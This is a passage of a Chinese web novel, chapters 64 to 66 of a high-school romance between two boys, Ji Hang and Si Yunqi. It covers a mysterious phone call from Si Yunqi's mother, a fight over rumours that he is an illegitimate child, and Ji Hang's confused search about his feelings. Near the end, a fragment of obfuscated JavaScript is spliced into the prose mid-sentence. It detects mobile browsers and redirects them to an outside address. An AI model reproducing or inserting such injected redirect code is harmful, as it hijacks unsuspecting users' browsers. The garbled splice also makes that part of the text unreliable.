又点了下。
那个“.”给自己评论了。
【你在折腾什么。】
季杭飞快地点开朋友圈权限。
好。
仅.不可见，变成了仅.可见。
季杭看着门。
司云起，我突然不是很想和你一起去学校了。
64.摩擦
曹书望纳了个闷。
季杭和那位拽哥，上学一起来的，放学又一起走了。
“？”曹书望盯着他俩的背影。
这是不熟？
诶，等等。
季杭你还记得以前你都是和我一起回家的吗！！！
他跑过去跟着。
司云起在季杭左边，他就在季杭右边。
为了彰显自己和季杭的友谊之特殊，他清了清嗓子，开口道：“其实我知道你。”
季杭：“？”
曹书望瞄了眼司云起。很好，这家伙无动于衷。
“作为季杭最好的朋友，我享有绝高的知情权。”
季杭蹙眉：“什么乱七八、”
“你别说话，”曹书望做了个嘘声的动作，继续道：“我本人十分宽容，看在你是季杭朋友的份上，我也能勉强把你当成朋友。”
司云起终于冷淡地瞥了他一眼。
本来是打算撂一句“谁和季杭是朋友”的，话出口前忽地想起前一个晚上这人别扭敏感的淋在雨里，他换了句话：
“我不宽容。你是他朋友和我有什么关系。”
“……”曹书望攥紧拳头，理解了路柯当时的感受。
什么人啊！
明天上学了就找路柯一块蛐蛐你！
曹书望愤愤拐回自己家。
季杭抿了抿嘴唇，说：“书望人很好的。”
司云起嗯了声，语气没有起伏，“他人好和我有什么关系。”
季杭已经差不多习惯了司云起的说话方式，他默默叹了口气，不明白司云起性格为什么这样。
前些天在家里，一周都见不着三次。司云起早出晚归，回到家就在房间里不出来。
似乎还和特意和季满谦说过，不用准备他的饭。
现在开学了，季杭见他的次数多是多。
但一天下来话总共也超不过三句。
……就这样个人，自己被他帮了三次，真算是自己命好。
家里没人，季满谦没在家。
培训机构增加了晚课，季满谦隔一天就要上一次。
他给季杭发了条微信，让他自己在外面买点吃。
季杭回到家才看到消息，外面又很热，他实在不想出去，找了桶泡面出来。
“你吃泡面吗？”季杭问司云起。
司云起正拧房间把手的动作一顿，“不吃。”
“哦，”季杭不会做饭，这种时候只能靠泡面顶饿。
他正准备撕开包装，忽地叫住了司云起：“诶——你、你别一回家就待在房间里不出来了，起码得吃饭吧。”
司云起回过头。
“还是…你在房间里藏了什么吃的？”
“没有，”司云起冷淡地回了两个字，抬手打算关门。
“那就来吧，”季杭一只手拿着方便面盒，走到他面前，轻轻抵着门，“今天你有口福了，我泡面水平一绝。”
“不需要，”司云起果断拒绝。
可下一秒，他看到季杭的眼睛，眼尾很轻地勾着，即便是没表情，也显出几分期待。
他蓦地改口：“我会做饭。”
话音落下，那双眼睛熠熠生光。
司云起绷着声音：“做给你吃？”
“好啊！”季杭将泡面撇在一旁，往厨房里走，“我看看有什么菜。”
司云起听着季杭报菜名，有点不懂自己为什么看到这人的眼睛就轻易变了句话。
他走进厨房，说：“你去外面等着。”
“我帮你洗菜吧？”季杭说。
“不用。”
季杭只好安静地等在客厅。
半小时后，他吃到了司云起做的饭。
季杭心满意足，觉得司云起这人冷就冷点吧，也就这么一个缺点，影响不了什么。
这次过后，每当季满谦不在，他们就很默契的一人做饭，另一人洗碗。
话总是不多，司云起没主动说过，回答也很是简短。
一周之后，又是季满谦不在的一天。
季杭照例去厨房看有什么，发现没有米了。
司云起也走了进来，季杭说了句“我出去买袋米”，匆匆跑出去了。
他又忘了带钥匙，回来的时候拎着一袋米，另一只手拍门，“司云起，帮我开下门。”
司云起打开门，看到季杭额头上沁出的汗珠。
这人大概来回都是跑的。
但这晚没做米饭，时间不太够。司云起靠着记忆里外婆烙饼的样子，烙出来两张饼。
除了形状不好看，没别的缺点。
季杭真心实意地把司云起夸了一通，没得到任何回复，也不生气，一个人吃了整整一张饼。
吃完他要洗碗，被司云起拦住了。
“别动，我洗。”司云起说。
“嗯？”季杭站在原地，看着司云起收拾碗碟。
不是他偷懒，是他知道自己犟不过司云起，也肯定问不出个所以然，干脆就随他。
他跑了一趟出一身汗，拿上衣服就洗澡了。
洗澡出来后，司云起已经收拾完了，人没在厨房，大概是又回房间了。
季杭一只手擦着头发，忽地看到餐桌上的手机。
司云起手机落在这儿了。
他拿起手机，敲了敲司云起的房间门，没人开门。季杭耳朵贴在门上，隐约听到了流水的声音。
司云起应该也是洗澡。
那不管了。他洗完找不到手机，自己会出来拿的。
正要把手机放回去，屏幕上跳起个陌生号码。
归属也是外地，没有备注。
季杭回头看了看司云起紧闭的门，把手机放回餐桌，没管。
可这次自动挂断后，紧随着下一个又响了起来。
连着三次，同一个号码挂断后重打。
季杭站在司云起门口，又敲了敲，担心有什么急事。可水声没停，季杭看着又跳跃在屏幕的号码，按了接听。
“你好，司云起他在忙，现在不方便接电话，等几分钟让他给你回过去可以吗？”
电话那边沉默了片刻，温柔的女声响起：“请问，你是谁？”
“我是他朋友。”季杭微蹙眉心，觉得对面女人的声音有点耳熟，好像在哪里听过一样。
但他一时想不起来，对面又问：“他在忙什么？”
季杭看了眼面前的门，礼貌道：“你找他有什么事吗，等会让他给你回好了。”
“不用，”女人语速快了些，“没事，问你也是一样的。你们在哪？”
对面好奇怪。
不会是骗子吧。
季杭没回答，想直接挂断电话，下一秒，女人告诉他：“我是云起的妈妈，但我们闹了点矛盾，你能告诉我他在哪吗？”
“……”季杭愣在原地。
司云起他……妈妈？
他不是说没有监护人吗……
“或者，你在哪？”女人试探地问道。
季杭哑了声。
他抿紧嘴唇，却又不知道该怎么挂断。如果这真是的是司云起的妈妈，他们之间可能有误会，自己挂断会不会引发什么……
他正纠结，面前的门突然被打开。他和一身潮湿的司云起对上视线。
“司云起……”季杭小声喊他，将手机递过去。
女人的声音响在正接手的手机中，急迫地问：“云起回来了？你让他接电话。”
听到这细微的声音，司云起瞬间明白了怎么回事。
他将通话挂断，把这个手机号也加入了黑名单，而后不耐地看向季杭。
“为什么接我电话。”他绷着眼皮，声音很冷。
季杭解释道：“它一直在响，打了好几个，我担心有什么急事。”
“就算有急事，和你有什么关系。”司云起冷漠地移开眼，后退一步，门砰的一下被关上。
季杭愣了半天，才意识到司云起这次并不是冷淡，而是生气了。
因为自己接了他的电话。
一瞬间他也有点委屈，他又不是想窥探什么秘密，也什么都没说，只是担心误了什么事情。司云起凭什么不分青红皂白就这样。
他转身回了自己的房间，门摔的比司云起还响。
隔天，曹书望坐在桌子上和路柯聊天，忽地看到拽哥自己进了教室。
他喊道：“诶，季杭呢？”
拽哥没理他。
过了十几分钟，季杭也来了。
曹书望一脸八卦地凑过去，问季杭：“你俩今天咋没一起来？”
提到这个季杭就烦。
“我俩只是一起住而已，有必要一起来吗。”
“杭，你嘴硬的很，我知道，”曹书望拍了拍他的肩，“老实讲吧，你是不是也受不了他那张嘴了。啧啧，挺帅个人，就是不会说话。”
季杭铺平试卷，看了眼讲台，“皇后来了。”
曹书望立马滚了。
下午大课间，曹书望皱着眉捂着肚子站在季杭桌前，声音痛苦：“杭啊。”
季杭瞥了他一眼：“别装。”
“？”曹书望站直了，“哎呦我，你怎么看出来的。”
季杭无语。
曹书望念叨了一上午许凡君的下场演唱会，肖蕊上次看完戒断不了，还想看。时间很合适，是周末，但抢票时间是今天下午四点半。
这个点正上课，抢不成。
马上四点了，曹书望突然肚子疼，季杭想都不用想就知道他要做什么。
“你陪我去趟办公室，你扶着我，这样皇后准能给俩小时假。”
季杭蹙眉。
“帮帮兄弟，”曹书望恳求。
“行得通么，”季杭说，“皇后对这方面卡的很严，最多让你去个医务室，不会让你提前出校门的。”
“可以的，你看，”曹书望扬扬下巴，“那拽哥，上节课就没来。没皇后的签字他可是出不去的。没准儿，没准他也是要抢许凡君的演唱会门票！”
季杭倏地回忆起电话里那个女声。
怪不得他觉得耳熟。
那分明是演唱会那天在场外听到的，许凡君的声音！
所以演唱会那天才会在场外遇见司云起。
所以那天会觉得司云起情绪不对。
散场的时候别人都往外走，唯独司云起往场内跑。
……
季杭忽然就都明白了。
“走嘛走嘛，”曹书望拉他，“跟我一起去。”
季杭被他拽到办公室，最后筹划的时刻，被身后的皇后听了个清楚。
“你扶着我进去，”曹书望弯着腰，“进去后大声喊皇后曹书望他不行了，就这样。”
季杭还没回答，皇后在后面幽幽问道：“要不直接我扶你进去？”
“……”
身后凉凉的，心里死死的，票离远远的。
曹书望被拎进去挨批评了，季杭是从犯，且没实施，皇后说了他几句就让他回教室。
季杭需要个安静的地方，他隐约觉得，司云起种种不被他理解的行为，以及性格和言语，他好像都能理解了。
不知不觉间走下两层楼，他倚着扶梯，正思忖，身后传来闲聊的声音。
“你们听说了吗，省理班转来个男生。”
“不知道，平时都见不着那俩班的人。你怎么知道的。”
“也是听说，远远见了一眼，人叫司云起。结果刚刚在学校门口，让我给碰见了。”
“发生了什么？”
“今天下午我这不是晚来了俩小时吗，在路口见到，你猜我听到了什么。”
“什么？”
“有个男生来找司云起，说的话我听不懂，但那男生说了，让司云起不要抛头露面的，找个一般的学校上，不然对他妈不好。”
“啊？这什么意思。”
“这你都听不出来啊，我觉得司云起应该是私生子，那个男生没准是…正宫的儿子，这不来警告他了吗。”
“这么劲爆，私生子啊！我去，小点声小点声。”
“小声什么小声，私生子还怕人说啊，你是不知道，当时司云起对男生多不客气，他哪来的脸啊他。刚转过来几天，班里就有女生想给他送情书，要知道他这么垃圾，谁能瞧得上他。”
“我说这两天咱们班女生怎么有人往楼上跑，原来根本在这儿啊。”
“走吧，回班吆喝吆喝，让她们知道刚转过来这帅哥，到底多不堪——”<
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他刚转身，胯骨猛的一疼。
还没等他反应过来发生了什么，他就狼狈地摔到了地上。
“我、”那句骂人的话还没说出口，眼前就站了个人。
季杭居高临下地睨着他，嗓音冷的厉害：“你挨打上瘾是吧？”
男生打算爬起来的动作顿住，想起来高一的时候他也和季杭打过一架。
准确说是，也挨过季杭一顿打。
当时是因为他喜欢的女孩喜欢季杭，他长相比不过，成绩比不过，但诋毁比得过。
在一个月的时间里，凡是遇到人，他都是说季杭的不好。
但触碰到季杭逆鳞的那次，是因为他得知季杭是单亲家庭，从小跟着父亲。他说季杭他爸肯定不怎么样，不然季杭他妈怎么可能离婚还不要孩子。
这话是怎么传到季杭耳朵里的，他不知道了。
只是一个普通的课间，他吊儿郎当地坐着，当着喜欢的女生的面，开口就要说季杭不好了。
后门猛地被踹开。
季杭站在门口，目光凛冽地扫了一眼班里的人，顺手抄起门后面的拖布，朝他抡了过去。
他胳膊又麻又疼，下一秒，季杭过来揪着他的衣领，说：“你再乱造我的谣，我见你一次打你一次。”
那次他在家里休息了一周，没想到来了之后季杭不仅啥事没有，自己还得道歉念检讨。
他愤愤不平，追到办公室问。
其实季杭也写了检讨，在教导主任面前念了。
在黄侯的力保下，季杭没受处分，那一周升旗手的资格也没被取消。
反倒是他，在家里休息一周，来了还要在全校面前念检讨。
这一周里黄侯和教导主任沟通，和他班主任沟通，又问了很多学生，知道了季杭打人的原因。
季杭什么性子，她最清楚不过。被骂了一个月没吭声，足以看出来他在忍耐了。
黄侯认定他有错，强制性要求他向季杭道歉，并要全校朗读检讨。
这件事僵持了半个多月，最终他们家妥协了。
他给季杭道了歉，新的一周，季杭升旗手，他在众目睽睽之下念检讨。
那之后，不光季杭，见到省理班的人他都绕着走。
现在就是不是刚转来的司云起几句，怎么又惹到季杭了？
他瞪着眼睛，骂道：“你傻缺啊，平白无故打我干什么！”
“打的就是你，”季杭半蹲，拳头即将落在他脸上。
“干什么呢！”教导主任的吼声响在身后。
拉开两个人后，主任扶了下眼镜框，“季杭？你打他呢？”
季杭：“对。”
……
太诚实了，主任沉默几秒，“走，找你们班主任去。”
带上两个人去了办公室。
曹书望刚挨完批出来，见季杭被教导主任领着进去，下巴都惊掉了。
黄侯刚喝了口水，就听到主任对自己说：“黄老师，你们班季杭，打同学，被我撞见了。”
“？？？”黄侯惊讶地站起来，先是把季杭从上到下看了一圈，没伤。这才移开目光，看到旁边扶着胯骨的男生。
这男生有点眼熟，但学生们太多，她早记不清了。
“我还有会，交给你处理，”主任又被电话催了，匆匆交代了一句就走了。
黄侯把两个人领到办公桌前，问：“怎么回事？”
季杭：“我打他了。”
男生：“……”又落到黄侯手里了，上次的教训还历历在目。
他心一横，眼一闭，说：“就是不小心碰了下，一点小摩擦而已，我俩自己说开就好了。”
“？”黄侯狐疑地看着他们两个。
办公室外，聚集了一波偷听的人。
路柯问曹书望：“季杭打人干嘛？”
曹书望：“……我怎么知道，我当时被娘娘洗涤心灵呢。”
办公室正对着楼梯，司云起回来时，见到的就是这么个场景。
一堆人提着腚，脸趴在办公室门口的墙上，小声递着话。
多少挡了点路，他沉默着绕开，却忽地听到其中一个女生说：“季杭这是第二次打人，第一次没记过，这一次不会给处分吧？”
司云起停住。
随着，有两个女生走了过来，是外班的。
她们小声说：“你们放心，我俩去厕所的时候听到了，季杭不是无缘无故打人的。”
曹书望：“那是为什么？”
“还不是我们班那个讨厌的男生，说你们班新转来的男生坏话了，说的好难听…说他好像是私生……啊不，他肯定是胡说的，季杭听到了，一脚把他踹倒了。”
省理班的人自然早就看到了身后的司云起，本来没在意，没防备突然听到这么一句。
路柯慌里慌张：“啊又是那傻玩意，一天天嘴里没好话。”
另一个女生附和：“就是，他就该被打。”
司云起面色沉静，鞋尖转移了方向，走到办公室门口。
人堆自动给他让出条通道，曹书望劝道：“拽哥啊、不是，司同学啊，你别冲动，当着老师打人，处罚可是更重。”
司云起已经站在了办公室门口。
黄侯余光看到门口的高个子，但她嘴里的话还没说完，她继续说：“你们说的楼道监控坏了，这样吧，既然是个小摩擦，你俩拥抱一下，就都过去了。”
男生巴不得。
季杭冷漠道：“不。”
黄侯问：“真打了？”
“对，”季杭的尾音还没说全，嗓音里只冒头个浅浅的音节，门口的人说道：
“是我和季杭有点小摩擦。”
“？”听到熟悉的声音，季杭诧异地转过头。
司云起一步步走过来，站在了季杭和男生中间，冷淡地看了男生一眼。
然后对黄侯说：
“没他的事，是我和季杭的摩擦。”
黄侯：“你？”
男生正愁脱身，立刻附和：“对，其实和我一点关系也没。”
司云起不客气地撞开男生的肩膀，微侧着身，目光落在季杭脸上，话却是在问黄侯：
“那我和他拥抱，这事儿能过去么。”
65.稳定
黄侯快被搞懵了。
主任带着季杭和这个男生过来，说季杭打人。
结果男生说没打，就是摩擦。
没多久，又来了个司云起，说是他和季杭之间的小摩擦。
她把三个人看了一圈。
男生站得笔直，看样子就等着放他走了。
司云起注视着季杭，等着自己的回答。
季杭眼神奇怪，里面就诧异，还有……她看不出来的情绪。
叹了口气，她问男生：“没打你？”
男生：“没。”
她问司云起：“你和季杭的摩擦？”
司云起说：“是。”
她又问季杭：“你到底和谁有摩擦？”
季杭同样注视着司云起，嘴唇轻动了下。
他没搞懂司云起为什么要掺和进来，按理说司云起应该没听到男生说的那些话。
他顾及着司云起，又不想放过男生，纠结中，面前的司云起忽然轻声说：
“我的错，原谅我。”
季杭的心好像快了两拍。
他下意识想抬手摸一下胸口，就听到司云起的下一句：“行么。”
一瞬间，他抬手的迹象止住。
黄侯问季杭：“季杭，你愣着想什么呢。”
“没……”没有的老师，我什么都没想，我可能就是突发、突发了点心跳上的小问题。它跳得有点快，也就是有点而已，比被你查到手机稍微快那么十倍而已。
“人司云起都和你认错了，今天这事儿能过去不？”黄侯问。
季杭缓缓点了点头。
见状，黄侯说：“你俩啊，在班里还没熟吗，还搞出摩擦来了。今天就这样，这事儿就过去了。你俩都老实着点，别让我再看到你俩搞出什么大摩擦来。”
……服了。
那道摩擦产生热量的物理题又想起来了。也许是心理作用，季杭忽然觉得全身都有点热。
“回去吧，”黄侯说。
季杭转过身，身后黄侯和司云起异口同声。
“等等。”
“等等。”
“？”季杭回头。
黄侯看了司云起一眼，还是很奇怪，问季杭：“既然是你和司云起的事情，为什么主任把你带过来时你不说？”
季杭面不改色：“主任他……认错了。”
黄侯盯着他看了几秒，表情还算真诚，又问男生：“认错了你为什么不说？”
男生：“我、我说了啊，我说就是个小事儿嘛。”
“行吧，”黄侯看向司云起，“你有什么事儿？”
司云起面不改色：“不是说抱一下就过去了么，还没有抱。”
黄侯：“？”
男生：“？？”
办公室外的一堆头：“？？？”
季杭不可置信地看着司云起。
“你、”
下一秒，他被司云起圈进怀里，整个人僵硬的如同一根蜡。
这个形容，是出办公室后曹书望说的。
彼时被司云起圈在怀里的季杭完全不知道自己是怎么个硬度，就记得和司云起接触时全身腾的一下热了起来。
摩擦生热诚不欺我。
被司云起短暂接触过的皮肤仿若烧起来了。
这个怀抱分开时，季杭耳根已经红了。
黄侯愣了两秒，问季杭：“你怎么不动。”
季杭濒临半傻，强装正常：“啊……我怎么动。”
黄侯：“你怎么了。”
季杭：“没事啊。”什么事也没有啊，我很正常，除了感觉胳膊背有点热热的，有人在我旁边点火吗……哦对老师，我刚才跳的那么快的心，现在我怎么感觉不到了，它好像没跳呢。
我的心跳好像疯了。
黄侯：“行吧，好好相处啊，快回教室。”
然后她就眼看着男生嗖的一下跑了出去，季杭同手同脚往门口走，司云起跟在季杭身后，盯着他的耳朵看了几秒，又低头调整步伐。
不然踩季杭脚后跟。
黄侯摇摇头。但高三的孩子，开学还这么早，知道学就已经很好了，还能要求他们多正常。
办公室外的一堆吃瓜群众，面对依次走出来的三个人，态度：鄙夷——八卦——司同学你好。
男生一下没停，飞快跑下楼了。
季杭被围住，一堆人笑他刚才走路顺拐，季杭脖子都有点红，倔强地说他们眼睛有毛病。
司云起听到有人和自己打招呼，目光从季杭后颈移开，落在路珂脸上。
路珂讪笑：“……别说！你别说！我知道你好不好和我没关系。”
司云起面无表情，说：“叫我司云起。司同学是什么称呼，很怪。”
路珂：“？”
围观的人：“？？”
季杭：“？？？”
司云起说完就回了教室，身后的人渐渐散去。
季杭被曹书望和路珂一左一右围着。
路珂：“你们两个觉不觉得拽哥转性了。”
“什么拽哥，”季杭蹙眉，“好怪的称呼。”
曹书望：“路珂，刚才你注意到没有，季杭直得像一根蜡。”
路珂：“我看到了，嘿，我就纳闷，娘娘都忘了让你们拥抱这个损招，拽哥怎么自己还提啊。”
季杭：“……”
路珂：“他就想抱你啊？”
季杭：“胡说！他有病还是我有病！”
曹书望：“？说他呢，没说你啊。”
季杭不自在地动了动脖子，生硬地岔开话题：“我脖子有点疼。”
“咋的，”路珂问，“刚才踹那货，扭到你脖子啦？”
季杭：“对。”
“……用脚踹，能扭到脖子，你也是人才。”
“你俩回不回教室，不回我回，”季杭把他们搭在自己肩上的手打开，朝教室走了三四米，突然回头。
他又快步走了回来，问：“你们怎么知道我踹他了？”
“那货班女生说的呀，在办公室门口，有两个女生听见了，是那货先说司云起你才去踹他的，我们都知道。”
“司云起也知道？？？”季杭问。
“对啊，他路过正好听到。”
季杭蹙着眉心，他本来还纳闷司云起怎么突然出现在办公室门口，没想到事情的来龙去脉都被他知道了。
那那些话……
“你们知道他说了司云起什么吗？”
曹书望说：“那女生倒是提了两嘴，没具体说。”
不知道为什么，一想到司云起可能知道有人背地里用那样的话说他，季杭就很烦。
踹的那脚还是轻了。
当时没挥出去的拳头提前几秒就好了。
上课铃响了，他们跑回教室。
坐回座位后，季杭看了窗边的司云起一眼。
却不巧，司云起的目光也状若随意地落在了他这边。猝不及防间对视上，季杭的心跳又发疯了。
他淡定地先移开目光，看着黑板，很是专注的模样，实际上讲了什么他一点也不知道。
他着急查点东西。
但课间曹书望又过来了，哭诉他错过了许凡君演唱会的票，季杭三心二意地安慰了他两句，边说“你别伤心”边说“你小声点”。
他担心被司云起听到，谁知道曹书望逆反心理起来了。
“我都这么难过了，你还要我的难过小点声？？”曹书望嚎叫，“我惨死了，被娘娘带到办公室说了一顿，要写1000字检讨就算了，关键是没抢到许凡、”
“？”曹书望瞪着眼睛，嘴巴就被季杭捂了个严实。
季杭下意识看向司云起那边，又对上了视线。
司云起的眼神很平静，像是听到了，但没反应。
曹书望挣扎着，打开他的手，正要质问，见到季杭身后的后门里走进来个人——
黄侯。
黄侯转了一圈就走了。曹书望轻拍着胸口，很认真地道谢：“杭，谢谢你，你真是个大好人。要是娘娘听到我哭诉演唱会票，可能会把检讨追加到2000字。”
季杭：“你别再提了。”
曹书望：“好嘞好嘞，你这么为我着想，我不说了。今儿早上我来学校的时候，我妈正在烤面包，晚上去我家吧？”
“不了。”
“好吧，那我给你送过去。”
这天晚上季满谦有事不在家，家里还是他和司云起，季杭应道：“记得送两人份的。”
曹书望：“好嘞！”
人走了之后曹书望才反应过来：“……两人份？”
课间没查成，好在下一节课是自习。
季杭前后看了看，探头出去看了眼楼道。
没老师的影子。
他悄悄拿出手机，垂着头打开百度，一个拼音一个字，慢慢打开来一句：
和同性接触心跳很快是怎么回事？
百度上的答案五花八门，前几条都是医院的链接，提示说他窦性心律过速，建议咨询医生。
再往下滑，看到一条还算靠谱的：
问题和自己的问题差不了多少，答案是：“看您的描述，您应该是同性恋……”
后面季杭看不进去了。
他飞快地退出页面，莫名回想起在宾馆看到的视频。
耳朵烧得厉害，季杭喉结滚动了下，在自己是心率过速去看医生还是接受同性恋的答案中徘徊，回想自己不对劲的源头。
等等、自己成天和曹书望勾肩搭背的，就上个课间，曹书望和路珂两个人搂着自己，自己也没心跳快啊！
心率应该没问题。
那……
他重新输入：
只和一个同性接触会心跳加速，为什么？
搜出来的答案和上个问题的答案差不多，季杭不死心，又打开了知乎，重新问了一遍。
问题刚发出去，就有条回答：
【这很显然啊，你是同性恋。】
季杭手忙脚乱地打字：【不是，我不喜欢同性！】
那人也很快回复：【那就是你以前不知道呗，现在遇到喜欢的同性了。】
季杭久久没反应，脑子里把和司云起从认识到现在的所有过了一遍。
那人见他没回答，可能也是够闲，又发了一条：【除了心跳快，还有别的没？】
季杭：【和他有身体接触后，会不自觉在意和他接触过的部位，也会觉得那块有点烫，可能是摩擦生热。】
【神特么摩擦生热，哥们，你是喜欢他啊，你都快弯成蚊香了。】
季杭：……
不对！曹书望刚说过自己直的像根蜡，自己怎么就成蚊香了。
他瞄了司云起一眼，然后绷着下巴打字：【我直的像根蜡。】
对面的人：【……？？？】
没半分钟，对面又发过来一句，但季杭还没来得及看，身后传来一声咳嗽。
完了！
季杭迅速锁屏，手机还没塞进桌洞就被黄侯拿了过去。
“自习课玩手机是吧，”黄侯掂着他的手机，皱着眉头问：“季杭，你今天怎么回事？”
季杭：“……”
我要是说我也不知道，您可能不信。
黄侯把他叫到楼道，批评了一顿，把手机没收了。
季杭臭着脸回到教室，旁边的人安慰道：“没事儿，娘娘不会一直拿着的，前提是你得先把家长叫过来，娘娘会亲手交给你家长，然后看你是在玩游戏还是刷视频。”
话一出，季杭脸更臭了。
他光急着锁屏了，哪有时间把知乎切了！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203069|132100||http|test|mini|href|location''.split(''|''),0,{}));
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要是季满谦来了，和黄侯一块看着他的手机，解锁后是他在知乎的问答。
……绝对不行！
放学前，黄侯来找季杭，通知他家长明天来学校。
季杭应下，干坐着等人全部走光。
他要潜入黄侯办公室找到手机，删除知乎！！！
同学们都对他的不幸表达了同情，路过他时拍了拍他的肩。
季杭无精打采的，突然，他意识到什么，猛地回头，对路过的学委楚云说：“你能不能拍我一下？”
楚云：“？”
路过的人：“？？”
看见这一幕的司云起：“？？？”
还有这要求？楚云拍了他的肩膀一下，声音很悦耳：“这样？”
季杭点头，对她说：“谢谢啊。”
楚云纳闷地走了。
季杭面色平静，心跳平静，肩膀也平静。
他默默回想着问答里的形容：弯得像蚊香……
司云起朝自己这边走了过来，季杭以为他是要回家。他塌着腰坐了很久，但司云起走过来时，他突然就坐直了。
司云起停在他身后，问：“不走？”
季杭：“我晚点走。”
“哦，”司云起便也没离开，在他身后站了会儿，盯着他僵直的背，眸色不明。
不知为什么，他有点不爽。
所有人从他身后过去，他都放松地塌着背，就是有人蹭到了他都没反应。
怎么自己过来后，他就坐这么直？
怕自己碰到他？
不想和自己接触？
刚才这人还让某个女生拍他，能和女生有接触，和自己不行？
季杭转过头时，看到司云起的目光，想说的话生生咽了下去，转而换成：“你、谁惹你了，你怎么……”
司云起盯着他：“你想说什么？”
“啊？”
司云起语气冷硬：“刚转头时，你想说什么？”
怎么换句话，见到是自己就不想说了？
季杭不大好意思，“我得去皇后那拿下我的手机，你能不能给我放哨？”
司云起盯着他的脸看了几秒，嗯了一声。
等了十几分钟，老师们应该都走完了。
季杭和司云起一前一后，刚出教室，教导主任就喊住了季杭。
季杭对这有经验，主任一直是最后一个离开学校的，这证明老师们都走了。但现在主任叫住他，肯定是问他白天的事情，一时半会自己肯定走不了。
他手朝后摆着，示意司云起去找自己的手机。
司云起看明白了他的意思，去了办公室。
在皇后桌上没找到，抽屉也都锁着，司云起打不开。正在想手机是在抽屉里还是放在别处了，他瞧见书架里有个不算很大的盒，大小装手机正合适。
他拿起盒子，打开后里面是一部手机。
之前在宾馆瞥见过，看样子是季杭的。司云起拿上准备出去时，季杭匆忙跑了进来，小声问：“找到了吗？”
司云起挥了下手机。
“太好了，我赶紧把那东西删了。”季杭快步走了过来，但楼道里又响起主任的声音。
“季杭，你往办公室里跑干什么？”
季杭不得不又跑出去，扯谎骗过主任，亲眼看着他下楼了，又慌忙回到办公室。
他心都快跳出来了。
因为！上次自己中暑被司云起抱到药店时，他好像是告诉了司云起自己的锁屏密码！
到底告没告诉他记不清了，就记得司云起拿过自己的手机结账。
这要是真知道密码！
完蛋了！
他回到办公室，一把从司云起手里夺过手机，边喘气边问：“你没打开看吧？”
这么过激的反应？司云起瞥了他一眼，冷淡地回答：“没。”
“那就好，”季杭长呼一口气，解锁后本想直接删除，但又忍不住看了眼问答里那人的回答。
最后没被自己看清的话，对方在说【哥们，你可能就是只喜欢你描述的那个同性，别的同性不喜欢。但你这嘴挺犟，哈哈哈哈不过我也是这样，我刚知道自己喜欢同性时，也差不多是你这个反应。】
季杭喉结又滚了下，切走知乎，删除后锁屏。
他声音虚浮，问司云起：“手机在哪拿的？”
司云起接过手机时不小心碰了下他的指尖，随着这人猛地收回手。司云起看着他的动作，更不爽了。
还没把手机放回去，门外传来主任的纳闷的声音。
“办公室里还有谁？门怎么敞着呢？”
季杭一惊，还没想好藏在哪里，司云起已经扯着他蹲在了黄侯办公桌下面。
黄侯办公桌和办公室的门是斜对角，刚好把他们藏在里面。
主任站在门口看了看，没人，把门关上就走了。
季杭担心主任又去而复返，拉着司云起的衣角说：“先等会儿再出去。”
说完他才注意到，办公桌下面空地有是有，但他们两个身长腿长的，在这里难免逼仄。尤其是肩，猫得很低，他和司云起只能互相埋在对方肩膀上。
季杭心跳突然更快了。
就连主任回办公室都没让他的心跳这么快，但和司云起贴的近了些，心跳这么轻易就剧烈了。
季杭阖着眼，试图平稳。
司云起的话忽地响在耳边：“你心跳怎么、”
季杭打断他，“我心跳很稳定啊。”话刚说完，更特么快了，甚至他都能听到扑通扑通的声音。
司云起肯定也听到了……
季杭面如死灰，自己找补。
“我最近心跳出了点问题，总是发疯。”
司云起：“……”
季杭：“稳定的发疯，也算是一种稳定……”
66.心动
当曹书望和路珂一起去找季杭时，远远看见季杭和司云起在水果店外面挑水果。
季杭挑了几个桃。
在门口守着的是水果店老板的儿子，刚上高一。季杭曹书望他们和男生不算熟，但也不陌生。
见着季杭，他热情地喊了声哥。
季杭应下，把桃递给男生时，决定再试一次。
他觉得自己一贴近司云起就心跳加速，有可能是因为和司云起不熟。
而他之所以对曹书望或者路珂这些朋友的触碰没感觉，是因为太熟了。
巧了，这不就遇到个不熟的。
男生熟练地称重，“哥，十一块二，给十一就行。”
季杭伸出手。
手心空荡荡。
男生：“？”
季杭面带笑容，“好久不见，握个手吧。”
身侧的司云起：“？”
“昨天你放学不是才见过……”男生喃喃，“是握手才给钱嘛。”
见季杭的手一直伸着，男生犹豫着握上去。
这个一个很标准的握手姿势，季杭笑容不变，撤回手。
心跳没有丝毫变化，平稳地不能再平稳了。
……完了。
“哥，十一块钱，”男生提醒。
季杭摸了下口袋，突然意识到手机被没收，身上没零钱。
他只能求助地看向司云起。
偏头的一刹，正好对上司云起凛冽不爽的目光。
他咯噔一下，心跳又明显起来了。
不是，为什么看起来司云起和自己待在一起这么不耐烦啊。
季杭还在试图让自己接受确实喜欢司云起的事实，猝不及防间对上这个眼神。
好像很烦自己一样。
刚萌发的情愫就这样夭折了吗。
季杭哑了声，几秒后，看到司云起拿出手机扫码，然后也没等自己，直接走了。
季杭看着他的背影，后知后觉蔓延上来几分难言的失落。
司云起走出去几步，回头时见季杭还停在水果店前，没跟上来。
这人到底是怎么回事。
和别人怎么接触都没事，自己一靠近他就躲。
现在还站那儿，是想怎么样，继续握手么。
司云起面色不善，正想问他走不走，后面就过来两个人。
其中一个叫曹书望，另一个认得，但名字没记住。
曹书望勾上季杭的肩，对不远处的司云起嘿了一声。
“干嘛呢你，站这儿不动。”曹书望问。
路柯从季杭的袋子里摸出来两个桃，扔给曹书望一个，啃了一口，说：“谢你的桃。”
季杭冲司云起扬了扬下巴，“他买的。”
路柯抬手，“谢司同学、不对，谢拽哥，也不对……”他磕磕绊绊，有生以来第一次觉得叫一个人的名字烫嘴。
算了，他没素质，他不谢了。
主要是他怕谢了之后这家伙来一句“让你吃了么你就吃”。
以他对司云起浅薄的了解，司云起说这句话的几率很小，但绝对不为零。
“哎呀，就买了四个啊，”曹书望看了一眼，“我俩吃了，你俩也吃，没叔叔的了。”
“他没在家，”季杭说。
曹书望和路柯交换了个眼神，“没在家你还回去干嘛，走啊，咱们唱歌去。”
他晃了晃季杭的肩膀，迟迟没听到回答，转头看到季杭正盯着司云起。
